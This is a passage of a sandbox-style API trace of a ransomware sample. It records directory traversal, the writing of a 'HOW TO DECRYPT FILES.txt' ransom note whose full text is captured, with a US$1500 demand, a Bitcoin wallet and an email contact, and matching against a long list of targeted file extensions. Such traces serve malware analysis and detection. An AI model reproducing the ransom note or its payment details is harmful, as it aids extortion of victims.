lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.425] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.425] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.425] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.425] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.425] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304d5ee9, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x304d5ee9, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9cd3cc8d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xa1800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiWUapi.ni.dll", cAlternateFileName="")) returned 1 [0107.425] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.425] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiWUapi.ni.dll") returned -1 [0107.425] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiWUapi.ni.dll") returned 1 [0107.425] lstrcmpiA (lpString1="", lpString2="ehiWUapi.ni.dll") returned -1 [0107.425] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\*.*") returned="*.*" [0107.426] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\" [0107.426] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\") returned="" [0107.426] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\HOW TO DECRYPT FILES.txt" [0107.426] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiwuapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\how to decrypt files.txt")) returned 0xffffffff [0107.426] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiwuapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.427] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.427] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.429] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.429] CloseHandle (hObject=0x90) returned 1 [0107.429] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\", lpString2="ehiWUapi.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll" [0107.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.ems") returned 0 [0107.429] lstrlenA (lpString="*.ems") returned 5 [0107.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.db") returned 0 [0107.429] lstrlenA (lpString="*.db") returned 4 [0107.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.dbf") returned 0 [0107.429] lstrlenA (lpString="*.dbf") returned 5 [0107.429] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.myox") returned 0 [0107.429] lstrlenA (lpString="*.myox") returned 6 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.myo") returned 0 [0107.430] lstrlenA (lpString="*.myo") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qbw") returned 0 [0107.430] lstrlenA (lpString="*.qbw") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qbb") returned 0 [0107.430] lstrlenA (lpString="*.qbb") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qbm") returned 0 [0107.430] lstrlenA (lpString="*.qbm") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qbo") returned 0 [0107.430] lstrlenA (lpString="*.qbo") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qbx") returned 0 [0107.430] lstrlenA (lpString="*.qbx") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qba") returned 0 [0107.430] lstrlenA (lpString="*.qba") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qby") returned 0 [0107.430] lstrlenA (lpString="*.qby") returned 5 [0107.430] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qbj") returned 0 [0107.430] lstrlenA (lpString="*.qbj") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.ofx") returned 0 [0107.431] lstrlenA (lpString="*.ofx") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.qif") returned 0 [0107.431] lstrlenA (lpString="*.qif") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.mye") returned 0 [0107.431] lstrlenA (lpString="*.mye") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.mbox") returned 0 [0107.431] lstrlenA (lpString="*.mbox") returned 6 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.eml") returned 0 [0107.431] lstrlenA (lpString="*.eml") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.pst") returned 0 [0107.431] lstrlenA (lpString="*.pst") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.ost") returned 0 [0107.431] lstrlenA (lpString="*.ost") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.idx") returned 0 [0107.431] lstrlenA (lpString="*.idx") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.dbx") returned 0 [0107.431] lstrlenA (lpString="*.dbx") returned 5 [0107.431] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.sql") returned 0 [0107.432] lstrlenA (lpString="*.sql") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.mdb") returned 0 [0107.432] lstrlenA (lpString="*.mdb") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.fdb") returned 0 [0107.432] lstrlenA (lpString="*.fdb") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.wab") returned 0 [0107.432] lstrlenA (lpString="*.wab") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.dat") returned 0 [0107.432] lstrlenA (lpString="*.dat") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.txt") returned 0 [0107.432] lstrlenA (lpString="*.txt") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.jpeg") returned 0 [0107.432] lstrlenA (lpString="*.jpeg") returned 6 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.jpg") returned 0 [0107.432] lstrlenA (lpString="*.jpg") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.png") returned 0 [0107.432] lstrlenA (lpString="*.png") returned 5 [0107.432] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.php") returned 0 [0107.432] lstrlenA (lpString="*.php") returned 5 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.cs") returned 0 [0107.433] lstrlenA (lpString="*.cs") returned 4 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.cpp") returned 0 [0107.433] lstrlenA (lpString="*.cpp") returned 5 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.rar") returned 0 [0107.433] lstrlenA (lpString="*.rar") returned 5 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.zip") returned 0 [0107.433] lstrlenA (lpString="*.zip") returned 5 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.html") returned 0 [0107.433] lstrlenA (lpString="*.html") returned 6 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.htm") returned 0 [0107.433] lstrlenA (lpString="*.htm") returned 5 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.xlsx") returned 0 [0107.433] lstrlenA (lpString="*.xlsx") returned 6 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.xls") returned 0 [0107.433] lstrlenA (lpString="*.xls") returned 5 [0107.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.mp4") returned 0 [0107.434] lstrlenA (lpString="*.mp4") returned 5 [0107.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.ppt") returned 0 [0107.434] lstrlenA (lpString="*.ppt") returned 5 [0107.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.pptx") returned 0 [0107.434] lstrlenA (lpString="*.pptx") returned 6 [0107.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.doc") returned 0 [0107.434] lstrlenA (lpString="*.doc") returned 5 [0107.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.dot") returned 0 [0107.434] lstrlenA (lpString="*.dot") returned 5 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.docx") returned 0 [0107.436] lstrlenA (lpString="*.docx") returned 6 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.7z") returned 0 [0107.436] lstrlenA (lpString="*.7z") returned 4 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.tar") returned 0 [0107.436] lstrlenA (lpString="*.tar") returned 5 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.bz2") returned 0 [0107.436] lstrlenA (lpString="*.bz2") returned 5 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.gz") returned 0 [0107.436] lstrlenA (lpString="*.gz") returned 4 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.mkv") returned 0 [0107.436] lstrlenA (lpString="*.mkv") returned 5 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.eml") returned 0 [0107.436] lstrlenA (lpString="*.eml") returned 5 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.msg") returned 0 [0107.436] lstrlenA (lpString="*.msg") returned 5 [0107.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.edb") returned 0 [0107.437] lstrlenA (lpString="*.edb") returned 5 [0107.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.accdb") returned 0 [0107.437] lstrlenA (lpString="*.accdb") returned 7 [0107.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.odb") returned 0 [0107.437] lstrlenA (lpString="*.odb") returned 5 [0107.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\ehiWUapi.ni.dll", pszSpec="*.java") returned 0 [0107.437] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304d5ee9, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x304d5ee9, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9cd3cc8d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xa1800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiWUapi.ni.dll", cAlternateFileName="")) returned 0 [0107.437] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.437] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b253aa4b8000e29b2fb725e4f7b8bc7c", cAlternateFileName="B253AA~1")) returned 0 [0107.437] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.438] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x570069, cFileName="ehRecObj", cAlternateFileName="")) returned 1 [0107.438] lstrcmpA (lpString1=".", lpString2="ehRecObj") returned -1 [0107.438] lstrcmpA (lpString1="..", lpString2="ehRecObj") returned -1 [0107.438] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.438] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehRecObj" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj" [0107.438] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.439] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.439] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.439] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.439] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.439] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dd75e74b3a7686f661129df07fdeadf1", cAlternateFileName="DD75E7~1")) returned 1 [0107.439] lstrcmpA (lpString1=".", lpString2="dd75e74b3a7686f661129df07fdeadf1") returned -1 [0107.439] lstrcmpA (lpString1="..", lpString2="dd75e74b3a7686f661129df07fdeadf1") returned -1 [0107.439] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\*.*") returned="*.*" [0107.439] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\", lpString2="dd75e74b3a7686f661129df07fdeadf1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1" [0107.439] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, 